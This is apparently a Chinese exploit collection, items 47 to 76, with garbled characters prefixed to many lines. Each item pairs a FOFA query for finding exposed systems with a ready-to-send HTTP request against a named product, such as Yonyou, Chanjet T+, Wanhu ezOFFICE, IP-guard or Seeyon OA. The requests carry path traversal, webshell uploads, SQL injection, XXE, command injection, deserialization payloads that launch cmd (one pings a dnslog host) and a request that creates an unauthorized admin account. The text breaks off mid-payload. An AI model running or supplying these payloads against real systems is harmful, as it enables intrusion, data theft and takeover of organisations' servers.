7 y, s3 e1 b/ W+ wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 s+ }3 _* p. R1 s: G. E1 p- `$ _" n, EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
  F' W, k% g7 G) `/ `% i, ]9 t

0 ^9 {$ w% v! M7 z47. 用友GRP A++Cloud 政府财务云 任意文件读取
8 M( t8 Z0 e: ^2 ]% N% v6 v4 RFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
$ K3 Z  H$ g* G4 t! ^( gHost: x.x.x.x
Cache-Control: max-age=0
8 B+ C+ ~: P, SUpgrade-Insecure-Requests: 1
$ ^9 h+ e5 c& B4 o& A+ H  QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
+ O4 p# L& i  S" PAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close



$ C/ w& X: Y+ o  u. @48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
' T4 k8 b6 G/ i9 _2 v/ C; ~# ZHost: your-ip
3 D" K1 i- t) p- u- ~& f+ f" i# KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 G& F0 ^# ~, L2 `6 T$ P1 xAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
7 F7 X: \1 ]! H6 j1 x' A8 a2 J! }------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
" Y; h6 ]1 Y1 S! {8 G1 M: b& F* J" x1231
/ E3 M( R2 ~+ \Content-Type: application/octet-stream
------269520967239406871642430066855
4 l& x# q& h: G6 n' G6 nContent-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--
  e! d; R0 U3 {; w2 H% A
$ N# q; T- ]0 S* r% V
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
5 }, ]  E0 U* v- `
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
+ V! L& Z1 I7 B6 F6 z5 C, V" MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
* H4 b% R" d- KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
9 M1 _3 y  E- H* }' t! FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
/ v% Z, _0 B0 s7 q* r$ i' s7 mContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
; B8 ^: |. A  y. s
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
( e7 \! J3 Q0 D2 q4 t& `-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
# [: `0 I6 O8 X( k1 x2 D
upload
  d5 j2 ?! d8 r9 ]-----------------------------vvv3wdayqv3yppdxvn3w--

" S" ~; C9 d3 A6 z% Q* K" Q
http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
5 D0 M8 v: j& I' v# UFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
& F  }. J& s8 M! t7 j2 M9 q4 RHost: x.x.x.x
1 ^+ @1 m% P; {7 u- {# Y& I0 _User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+ k. Q. k" x+ ?# g6 T. X5 Y7 ~+ QConnection: close
% s- `/ {9 d( e3 \! f( t) lContent-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
5 W9 f7 C" O; R, ?: vAccept-Encoding: gzip

6 e' D% N7 Z) L; I# x/ @searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
; f- X- q* W2 U! }9 v
3 B, q4 q$ F8 B2 Z
  ]  l2 l/ _* r6 I51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% Q1 q% u$ n0 m+ a' x2 HHost: your-ip
6 L7 U7 R) X1 n6 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
4 t$ f$ w, M  h  [8 Y1 f3 i, bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
# `. |# J/ o/ ^/ T, qAccept-Encoding: gzip, deflate
5 Z, o8 @* g3 z( q* `0 t2 W$ xAccept-Language: zh-CN,zh;q=0.9
Connection: close

7 I7 f3 i  m( A  O2 e, R; L6 X
52. 泛微E-Office json_common.php sql注入
! B1 ]# p2 \$ LFOFA：app="泛微-EOffice"
2 r- q' D3 Z9 s$ v7 q2 d5 ?POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
% g: B" E( V" L1 G$ mUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' h$ |. y: l, P9 Y# G) B9 p* Z' YConnection: close
+ `* K3 k9 R& i1 _# v" n; fContent-Length: 87
3 r, R0 ~7 I7 p4 \, w& mAccept: */*
Accept-Language: en
) R0 m6 |9 {/ W4 I( O) VContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
4 g2 V' @+ x6 S# P
) O  [0 e0 c3 N' \! x7 ~tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
) G- u: K# o+ [* L2 E% i3 E4 ~FOFA：app="DPtech-SSLVPN"
. z7 k8 F/ |  W, }- [/ {9 m0 T, L/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


) R3 [* g5 U! t6 v54. 畅捷通T+ getstorewarehousebystore 远程代码执行
6 N2 O  t$ f2 F# J6 o! g, m4 PFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
, f8 _: x& K; g2 T- P% {"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


0 l# R, k) z4 q: j完整数据包
0 W6 G/ ^+ T0 ?' X* L/ @POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
) b: C5 D% c- M+ b" w" B, q( rUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
' e, c, M, \9 X0 H7 p3 V, S
* F/ C7 N/ q0 V+ d0 b& g$ N( Z. T{
( ^0 r, d( W, {/ z"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
4 v5 o$ S: o+ J- C* C, p    "StartInfo":{
- A5 t( o* v8 f3 [4 s- J  @; x% X   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
0 l0 K  W  B8 S    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
% \8 _7 `) [' O- X  }
  }
}

# c; v1 y: `& n! u1 \' M3 Z
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
8 Q. z3 A$ @# i# t/ S: YFOFA：app="畅捷通-TPlus"
2 l& ^4 H" i" i1 @; [+ A: q  y# i第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
3 T7 y& u: C8 v( ~0 q第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
! [5 X  c; C$ E( E' e0 mFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
5 C0 q* L& N. a& |+ x( ?) u. g8 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
9 h# ]5 C% l& ]4 D- tContent-Type: application/json
( V  L# U5 D/ A% [( h' Z7 j; {
, @9 Z7 h% Q* q{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
- t6 V: J- b; I: m    "ObjectInstance":{
$ A2 }; [* I1 R) W* r       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  }
! X1 U9 ]0 }6 V4 J1 z$ t/ \}

5 A, _6 q: Z# w" s! S6 `, `
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
# H. l2 F0 P5 h( gHost: host
) V2 ^, r3 I  U' J/ pUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
+ Y2 l5 g, g2 W" J
( H# b' V" L0 }1 T" d2 j
6 W7 o- `- F' H& t. g! R1 e. t58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
8 M9 q' k9 `  w1 e9 k7 g/ b: j% ?User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
* D/ O+ P" G# i! B8 X# L9 D+ K. mAccept-Charset: utf-8
( U" L2 ^( a  e8 `. m1 O2 KAccept-Encoding: gzip, deflate
8 s9 }6 H7 {$ \0 Z: mConnection: close

9 J3 B5 v- ]6 p# f) [# b
, L6 X' O. l  {2 ^1 ]59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
8 X! J: q; x- U5 m7 ?, g3 ]FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
" f7 s6 a$ U1 j0 Z* f; ?, ~: |POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
1 n$ T  D; d$ m, F# dHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
, K2 H9 L. ]2 bConnection: close
Content-Length: 1669
+ N* n5 z& v: T3 H, m/ B0 r+ yAccept: */*
8 j8 [" m' Z$ ?7 v9 D. D) SAccept-Language: en
) a4 t' P4 W: ?2 RContent-Type: application/x-www-form-urlencoded
- E, J+ f; S4 @: u( `Accept-Encoding: gzip

3 |4 k; ?4 A4 RPAYLOAD
9 }0 Y/ S7 j1 u  O" R8 A: l1 J6 z

& M9 D- G7 o7 B' `% b60. 百卓Smart管理平台 importexport.php SQL注入
+ l, q0 K8 z) P* f4 g  G5 W+ E& OFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
5 l5 g4 @( }  g5 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) G, _9 U/ U& V! ]! x& tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


2 c) Q- w" G* E61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
& |+ h7 g7 k% w5 rFOFA: title="欢迎使用浙大恩特客户资源管理系统"
$ x. A, W0 M2 w8 hPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
  n% W4 l% X' c7 [( N7 l# A8 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
# E* I7 m! L0 V! d) N/ l+ nAccept: */*
Accept-Encoding: gzip, deflate
5 L& a! O1 B* H/ v) lAccept-Language: en
7 }- n" J; v% [: w- G) T: {Content-Type: application/x-www-form-urlencoded
$ j# r5 L6 ~3 q4 Q
! v# u6 I+ B) i, }0 f1 i! b8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
0 ^9 v& u* t( I4 ^& l3 bFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
2 x- v4 U+ w6 {' z0 j4 J7 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
- q) F' f, B8 gAccept-Language: en
Accept-Encoding: gzip


7 @2 V4 x! F# m: ]0 y4 b访问
- H  y, w# U& z( n3 [1 }
. r; s9 m' C" k  I9 {GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

  x1 r' s: t! k8 s% V* d2 z
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
$ x# g- T" f. B2 h6 V) ~FOFA：icon_hash="2030860561"
- M1 Q+ z6 c/ h$ U  V$ A* JPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
5 F& Y) i1 E" i  y8 Y  C1 a3 i9 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) p  Z9 F$ X# _$ L3 _) gAccept-Encoding: gzip, deflate
  O+ b, f& r, }! s# X5 qAccept-Language: zh-CN,zh;q=0.9
Connection: close
) Y' y( u* @, Z6 {0 x. j; NContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
! v" \6 ?" w( u# ]
  ~+ ?3 w; _' ?5 O64. 捷诚管理信息系统CWSFinanceCommon SQL注入
: r9 W9 H' |+ N1 nFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
4 {6 Z$ M" x: V3 L/ @6 p. G8 GConnection: close
$ u; M  z& F  yContent-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
& ?/ v: Z& H  b$ l, |
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
1 W6 B# \0 ]6 M' Z1 ^: `      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
' I8 ]( O. F  ?</soap:Envelope>
6 ]( _, V0 L! C+ [& G2 w3 m
, j% c+ D' {: c( P" N* }
0 A  x$ X0 m6 ]$ \) i65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
6 K' q- ?# Y/ x" l' h/ C. EFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
" P4 F0 h3 r; ~* O- J响应200即成功创建账号test123456/123456
9 |, F$ J; ?5 z) Q& e( F# xPOST /SystemMng.ashx HTTP/1.1
Host:
0 }2 p% u1 N/ W3 J! t& vUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

. K" @; R8 ]7 r4 w. r/ T& J' d# g2 n
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
# @( B) B" E* T" q' ?6 D
& v, k; D7 n% J) P' y" rGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
( B/ H, U: X5 }+ t9 `& UHost: x.x.x.x
# j; |' H' i# t, ]/ ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
/ ]& H* t. n4 _% F( t% e3 d$ \& _Accept-Language: en
Accept-Encoding: gzip

; @1 e, p* c$ A5 J  v& A* N1 c  w
  b; k% i" r% v8 p第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
! F1 I- z5 Z7 }
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
6 J! a* d! N8 {; N0 hPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
" a% S# }- l0 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
/ D9 i+ [% K& ?: t* V. ^- I0 @Content-Length: 173
/ o/ E0 |$ p" U+ TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
* |+ q# v, G; c& }: EAccept-Encoding: gzip, deflate
1 Z0 _7 z" F) p% f; `3 n8 qAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
, y( k4 L2 s$ N* ?3 z+ s1 jContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
0 K0 q* K2 K2 X3 X( x& M: |1 hContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
" S/ X/ H. a# q# d! I/ K. p
0 y5 \( _: D7 [1 d! A( }$ r<% out.print("sasdfghjkj");%>
$ ^  U/ y0 G3 _$ r" u4 m--ufuadpxathqvxfqnuyuqaozvseiueerp--


4 l2 A) `$ ]$ Y" {% F文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

2 ?0 L4 ]7 `) A! [8 g' I8 u/ L68. 万户ezOFFICE wf_printnum.jsp SQL注入
+ |/ l8 [% D* F% a! nFOFA：app="万户ezOFFICE协同管理平台"
6 ~& u: v- k0 L5 n; r! v6 B  ^9 jGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
$ P# a8 T- }5 ~7 n. O' I2 JHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
% S! b* r0 T% Y: t& ~$ T! j1 ]) @Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
) u* F2 U: U+ h* T2 i: x4 Q: ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- q/ j. x4 p8 g- J% FConnection: close
, v- u6 ~, a4 o' r
5 S9 s" `0 I9 u: e: A0 D9 H, r
  o, T% m$ B0 k2 o  Z" W69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
/ Q7 ]: _! |& R/ G; ]Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
7 h, T, `7 |# j4 G1 V1 \Accept-Encoding: gzip, deflate
9 Q6 B' ?6 E9 w) n, ^Accept: */*
( }& s9 _, }- Y  Z  X( yConnection: keep-alive


70. 万户ezEIP success 命令执行
' P6 F1 Q4 Z) XFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
' A" v" q5 m9 c, s3 A$ b& A  eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5 P' `. i2 b+ a4 c8 d, OSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
! ~+ U' x1 ^4 r: F  X/ QTYPE: C
* G& q" f( E- z. S( V2 I) s4 hContent-Length: 16702
# b8 \% L# {7 B8 f% _
& V  f7 S$ P: S9 T__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
% S9 ~3 W& ^' C: k- ^  NUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 M' n* B1 J9 ]: ZConnection: close
, I# J% S* G9 Q+ Y3 ?2 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ [1 m" ?* r5 R7 E: H: ]* \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
. y! O) V# v5 y9 WConnection: close
Content-Length: 583
( U8 f9 ]0 i% b1 CContent-Type: application/x-www-form-urlencoded
6 a2 `: ^& G6 b  W; q! aAccept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

2 H8 C& a- A9 S8 p
. [' G1 b: R$ U1 w73. GeoServer wms远程代码执行
  o8 ^, X) f. W5 M! i) n" j, CFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
- o% x/ F4 H$ vContent-Length: 1981
5 t. U; y9 m# u0 _- FAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
, p0 \7 c( }% G' @; ]+ zSL-CE-SUID: 3
0 Z# T% F3 {6 R  S
PAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

9 |; I7 |* t6 T7 y75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
( {! o3 L% o; w6 `) J2 JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) _- X& h$ K3 c- Y8 bConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
0 G) L( s2 P% B0 w# q4 }
( f, ~5 Y5 Z, _+ K% `
GET /cgi-bin/test28256.txt HTTP/1.1
- {3 S: T5 X8 ~' {3 [, [' i, o* nHost: x.x.x.x

% ]& Y( g8 G& ]/ `; e% O0 T
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
- C! F4 d6 h2 s- k% [3 e# g; f% G! Q9 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
9 _2 _( G! g) `( _: [* GConnection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( ]: \3 @* d- e6 `Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
, B) Y2 _, p, d- i6 \6 XUpgrade-Insecure-Requests: 1
: z+ r6 M4 _0 ~2 B' a8 x
{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
